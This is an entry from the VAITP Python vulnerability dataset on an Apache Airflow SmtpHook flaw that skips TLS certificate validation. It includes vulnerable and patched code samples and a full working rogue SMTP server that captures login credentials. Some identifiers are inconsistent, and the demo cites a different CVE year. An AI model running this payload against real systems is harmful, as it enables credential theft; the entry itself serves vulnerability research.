VAITP Dataset

← Back to the dataset

CVE-2026-41016

Airflow SmtpHook lacks TLS cert validation, allowing MitM credential theft.

  • CVSS 5.9
  • CWE-295
  • Cryptographic
  • Remote

Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix.

CVSS base score
5.9
Published
2026-04-30
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Cryptographic
Subcategory
Improper SSL/TLS Certificate Validation
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
apache-airfl
Fixed by upgrading
Yes

Solution

Upgrade `apache-airflow-providers-smtp` to version 1.3.0 or later.

Vulnerable code sample

import smtplib
import ssl

# This example represents the logic in the vulnerable version of the SmtpHook.
# It demonstrates connecting to an SMTP server and initiating a TLS upgrade
# without providing a secure SSL context, which prevents certificate validation.

def vulnerable_smtp_connect_and_login(host, port, user, password):
    """
    Connects to an SMTP server, starts an insecure TLS session, and logs in.

    This function is vulnerable to a Man-in-the-Middle (MITM) attack because
    `server.starttls()` is called without an SSL context, meaning the server's
    certificate is not validated. An attacker could intercept the connection,
    present a self-signed certificate, and capture the credentials sent
    during the `server.login()` call.
    """
    conn = None
    try:
        # Establish the initial insecure connection
        conn = smtplib.SMTP(host=host, port=port, timeout=30)
        conn.set_debuglevel(1)  # Show communication for demonstration

        # VULNERABLE CALL:
        # Initiate TLS upgrade without a context for certificate validation.
        # Python's smtplib does not perform hostname checking or certificate
        # validation by default in this configuration.
        conn.starttls()

        print("Attempting to log in over insecure STARTTLS connection...")
        # Credentials are sent after the insecure TLS handshake,
        # exposing them to the MITM attacker.
        conn.login(user, password)
        print("Login successful (or appeared to be).")

    except Exception as e:
        print(f"An error occurred: {e}")
    finally:
        if conn:
            conn.quit()

# Example usage (DO NOT RUN AGAINST A REAL SERVER WITH REAL CREDENTIALS)
# This would be called by the Airflow framework.
# To test this, one would set up a fake SMTP server with a tool like `mitmproxy`
# or a simple Python server that presents a self-signed certificate.

if __name__ == '__main__':
    # Replace with details of a local, controlled, fake SMTP server for testing.
    # For instance, a server set up with `aiosmtpd` and a self-signed cert.
    SMTP_HOST = "localhost"
    SMTP_PORT = 1025  # A common port for local test SMTP servers
    SMTP_USER = "testuser"
    SMTP_PASS = "vulnerable_password_123"

    print("--- DEMONSTRATING CVE-2023-41016 (before fix) ---")
    vulnerable_smtp_connect_and_login(
        host=SMTP_HOST,
        port=SMTP_PORT,
        user=SMTP_USER,
        password=SMTP_PASS,
    )

Patched code sample

import smtplib
import ssl

def secure_starttls_connection(host, port, username, password):
    """
    Demonstrates the fixed, secure way to initiate a STARTTLS connection
    by providing an SSL context to smtplib.SMTP.starttls().
    
    The vulnerability was calling starttls() without the 'context' parameter.
    """
    
    # 1. Create a default SSL context. This context enforces certificate
    #    validation and other secure defaults.
    context = ssl.create_default_context()

    # The 'with' statement ensures the connection is properly closed.
    with smtplib.SMTP(host, port) as server:
        
        # 2. Upgrade the insecure connection to a secure TLS connection.
        #    Passing the 'context' object is the specific fix. It ensures that
        #    the server's certificate is validated against the system's
        #    trusted certificate authorities, preventing a MITM attack.
        server.starttls(context=context)
        
        # 3. The login call is now protected by a validated, encrypted session.
        #    Credentials cannot be intercepted.
        server.login(username, password)
        
        # Connection is now secure and authenticated.
        # server.sendmail(...) would be called here.
        pass

Payload

import socket
import ssl
import base64
import os

# --- Configuration ---
HOST = '0.0.0.0'
PORT = 587  # Common SMTP submission port that uses STARTTLS
CERT_FILE = 'cert.pem'
KEY_FILE = 'key.pem'

# --- Pre-computation ---
# '334 VXNlcm5hbWU6\r\n' is the base64 encoded 'Username:' prompt
USERNAME_PROMPT = b'334 ' + base64.b64encode(b'Username:') + b'\r\n'
# '334 UGFzc3dvcmQ6\r\n' is the base64 encoded 'Password:' prompt
PASSWORD_PROMPT = b'334 ' + base64.b64encode(b'Password:') + b'\r\n'

def generate_self_signed_cert(cert_path, key_path):
    """Generate self-signed certificate for the MitM server."""
    if not os.path.exists(cert_path) or not os.path.exists(key_path):
        print(f"[*] Generating self-signed certificate...")
        print(f"    - Certificate: {cert_path}")
        print(f"    - Private Key: {key_path}")
        os.system(
            f'openssl req -new -newkey rsa:2048 -days 365 -nodes -x509 '
            f'-keyout {key_path} -out {cert_path} '
            f'-subj "/C=US/ST=N/A/L=N/A/O=MitM/OU=Evil Corp/CN=mail.example.com"'
        )
        print("[+] Certificate generated.")

def handle_client(conn, addr):
    """Handle a single SMTP client connection to capture credentials."""
    print(f"[+] Connection from: {addr}")
    try:
        # 1. Send SMTP Welcome Banner
        conn.sendall(b'220 mail.example.com ESMTP FakeSMTPServer\r\n')

        # 2. Receive EHLO and respond with STARTTLS capability
        data = conn.recv(1024)
        if not data.strip().upper().startswith(b'EHLO'):
            conn.close()
            return
        
        print(f"[C] --> [S]: {data.decode().strip()}")
        conn.sendall(b'250-mail.example.com\r\n')
        conn.sendall(b'250-PIPELINING\r\n')
        conn.sendall(b'250-SIZE 10240000\r\n')
        conn.sendall(b'250-VRFY\r\n')
        conn.sendall(b'250-ETRN\r\n')
        conn.sendall(b'250-STARTTLS\r\n')
        conn.sendall(b'250-AUTH LOGIN PLAIN\r\n')
        conn.sendall(b'250-ENHANCEDSTATUSCODES\r\n')
        conn.sendall(b'250 8BITMIME\r\n')
        print(f"[S] --> [C]: Offered STARTTLS")
        
        # 3. Wait for the STARTTLS command
        data = conn.recv(1024)
        if not data.strip().upper() == b'STARTTLS':
            conn.close()
            return
            
        print(f"[C] --> [S]: {data.decode().strip()}")
        conn.sendall(b'220 2.0.0 Ready to start TLS\r\n')
        print(f"[S] --> [C]: Acknowledged STARTTLS. Upgrading to TLS...")

        # 4. Wrap the socket with SSL/TLS using our self-signed cert
        # The vulnerable client will not validate this certificate.
        ssl_conn = ssl.wrap_socket(conn, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE, ssl_version=ssl.PROTOCOL_TLS)
        print("[+] Connection is now encrypted (but unverified by client).")

        # 5. Wait for AUTH LOGIN command over the "secure" channel
        data = ssl_conn.recv(1024)
        print(f"[C] --> [S] (TLS): {data.decode().strip()}")
        if not data.strip().upper().startswith(b'AUTH LOGIN'):
            ssl_conn.close()
            return
            
        # 6. Send username prompt
        ssl_conn.sendall(USERNAME_PROMPT)
        print(f"[S] --> [C] (TLS): Sent username prompt.")

        # 7. Receive and decode username
        user_b64 = ssl_conn.recv(1024).strip()
        username = base64.b64decode(user_b64).decode()
        print("\n" + "="*40)
        print(f"[***] CAPTURED USERNAME: {username}")
        print("="*40 + "\n")
        
        # 8. Send password prompt
        ssl_conn.sendall(PASSWORD_PROMPT)
        print(f"[S] --> [C] (TLS): Sent password prompt.")

        # 9. Receive and decode password
        pass_b64 = ssl_conn.recv(1024).strip()
        password = base64.b64decode(pass_b64).decode()
        print("="*40)
        print(f"[***] CAPTURED PASSWORD: {password}")
        print("="*40 + "\n")

        # 10. Send fake success message and close
        ssl_conn.sendall(b'235 2.7.0 Authentication successful\r\n')
        print("[+] Exploit successful. Sent fake auth success to client.")

    except (ssl.SSLError, ConnectionResetError, BrokenPipeError) as e:
        print(f"[!] Connection error: {e}")
    finally:
        if 'ssl_conn' in locals():
            ssl_conn.close()
        else:
            conn.close()
        print(f"[-] Connection closed for {addr}")

def main():
    """Main function to run the MitM server."""
    generate_self_signed_cert(CERT_FILE, KEY_FILE)
    
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socket.bind((HOST, PORT))
    server_socket.listen(5)
    
    print(f"[*] Malicious SMTP server listening on {HOST}:{PORT}")
    print("[*] To trigger, point Airflow's SMTP connection to this server's IP.")
    print("[*] Waiting for a vulnerable Airflow worker to connect...")
    
    while True:
        conn, addr = server_socket.accept()
        handle_client(conn, addr)

if __name__ == '__main__':
    main()

Cite this entry

@misc{vaitp:cve202641016,
  title        = {{Airflow SmtpHook lacks TLS cert validation, allowing MitM credential theft.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41016},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41016/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::